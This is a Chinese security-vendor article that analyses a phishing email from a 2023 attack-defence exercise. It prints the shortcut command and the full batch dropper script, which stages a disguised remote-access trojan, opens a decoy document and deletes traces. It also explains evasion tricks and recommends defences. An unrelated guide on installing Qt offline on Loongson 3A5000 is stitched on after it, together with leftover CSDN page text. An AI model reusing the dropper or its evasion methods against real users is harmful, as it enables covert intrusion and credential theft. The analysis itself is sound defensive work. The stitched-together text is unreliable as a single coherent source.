【年度典型案例】诡计多端!攻防演练中攻击队的神秘布局

随着网络安全的重要性日益得到重视,网络安全实战攻防演练日益普及,其规模与覆盖面均逐年增长。

在攻防演练中,攻击方非常热衷于通过钓鱼、病毒邮件进行“打点”,利用远控木马获取目标企业员工终端权限,从而打开渗透企业内网的突破口。

真实案例分析

这是2023年某大型网络安全攻防演练中Coremail捕获到的来自攻击队的真实邮件。邮件以员工最关心薪酬通知为话题,引诱用户打开附件。攻击队还注册了近似的域名进行域名仿冒,以迷惑用户。

附件为一个加密压缩包,通过加密的方式防止邮件安全网关反病毒查杀。解压后为一个快捷方式文件和一个隐藏文件夹。

注意!windows lnk文件默认不显示后缀的特性,使其看起来非常像一个doc文档。

用户一旦打开此快捷方式文件,就会执行以下命令:

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c ".\__M\.DOCX\copy.bat" && exit

命令执行的结果就是运行隐藏文件夹中的 Copy.bat 脚本。Copy.bat脚本执行的内容如下:

cmd /c xcopy /h /y %cd%\__M\.DOCX\DS %temp%\

attrib -s -a -h %temp%\DS

rename %temp%\DS sihost.exe

attrib -s -a -h %cd%\__M\.DOCX\DS

del "%cd%\__M\.DOCX\DS"

attrib -s -a -h %cd%\__M\.DOCX\copy.bat

del *.lnk

copy %cd%\__M\.DOCX\员工工资变动申请表.doc %cd%\员工工资变动申请表.doc

start %cd%\员工工资变动申请表.doc

start %temp%\sihost.exe

del /s /q /f %0

Copy.bat脚本功能是把同文件夹下的DS文件拷贝到临时文件夹并重命名为ihost.exe,并且运行。ihost.exe是最终的恶意载荷,是一个远控木马,也做了免杀处理。运行木马后,bat脚本将删除DS和lnk文件,以清理痕迹,同时打开一个无害的doc文档,以便迷惑用户。

最终用户在完全不知情的情况下被植入了远控木马,攻击者利用远控密码可以持续监听用户口令以及查看用户本地文件。

攻击手法分析

01、话题吸睛

攻击队病毒邮件往往使用“薪酬通知”“安全监测工具”“实名举报”等吸引人的话题,引诱员工打开附件。

02、加密压缩

加密压缩是攻击队最喜欢的免杀方式,这种方式简单有效,可以绕过大部分杀毒引擎的查杀。

03、通过多文件相互调用反沙箱

此案例中的病毒附件由多个文件相互调用,lnk、bat文件均不带有恶意载荷,DS文件运行前没有后缀。攻击队通过这样的组合,使得每个单一文件在沙箱中均不会报毒。

04、多重伪装

结合了近似域名仿冒、lnk文件伪装doc文件、ihost.exe伪装系统进程等多种方式混淆视听,避免被用户察觉。

防护方案

  • 使用CACTER邮件安全网关的加密附件隔离审核功能,可以有效识别带有加密附件的邮件,可以对加密附件邮件进行隔离和审核。
  • 使用CACTER邮件安全网关的加密附件深度分析功能,可以从邮件正文智能提取解压口令,对附件进行解压后进一步进行查杀。
  • 定期开展钓鱼演练,对员工做好安全意识培训,提高员工的安全意识水平。

在网络安全攻防演练中,攻击方的策略和技巧不断演变,使得防御工作充满挑战。通过深入分析攻击手法并采取有效的防护措施,可以提高企业的网络安全防护能力。

### 龙芯3A5000平台上的QT离线安装 #### 准备工作 为了在龙芯3A5000平台上成功完成QT的离线安装,前期准备工作至关要。由于该平台采用的是LoongArch指令集架构,这与之前的MIPS指令集不同,因此需要特别注意软件包的选择和编译环境的搭建[^2]。 #### 获取必要的源码和工具链 首先,需获取适合于LoongArch架构的QT版本源代码以及相应的开发工具链。考虑到网络连接可能不稳定或受限的情况,在有良好互联网接入条件下提前下载所需资源到本地存储设备中是非常明智的做法。 对于具体的QT版本选择方面,建议参照官方发布的稳定版或是经过社区验证可用于LoongArch的目标版本。例如,可以考虑使用Qt 5.13.1作为目标版本之一,因为已有成功的移植案例可供参考[^4]。 #### 修改源码适应新架构特性 针对特定硬件特性的支持,比如`double-conversion/utils.h`文件中的条件判断语句,应当根据实际情况做出适当调整以确其能够识别并正确处理LoongArch架构下的编译需求。具体操作是在原有基础上增加对`__loongarch__`宏定义的支持: ```cpp #if defined(__mips__) || defined(__loongarch__) // 对应架构特有的实现细节... #endif ``` 此修改有助于解决因架构差异而导致的部分功能无法正常工作的潜在问题。 #### 编译构建过程概述 利用预准备好的交叉编译器和其他辅助工具来执行实际的编译任务之前,还需确认所有必需的外部依赖项都已妥善安置到位。这些依赖关系不仅限于基础库文件还包括其他第三方组件和服务端口等要素。如果发现某些关键部件缺失,则应及时补充完整后再继续后续步骤。 当一切就绪之后便可以通过调用configure脚本来启动正式的编译流程,并指定恰当选项以便更好地适配当前的工作站设置。期间可能会遇到一些警告提示甚至错误报告,此时应该仔细查阅日志记录寻找解决方案直至整个项目顺利结束为止。 #### 打包分发成果物 最后一步就是将生成的结果打包成易于部署的形式供最终用户消费。通常情况下会创建一个包含全部必要组成部分(如可执行程序、动态链接库及其配置文档)在内的压缩档案或者制作成为操作系统原生支持的安装包形式发布出去给更多的人试用反馈意见从而进一步完善产品品质。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值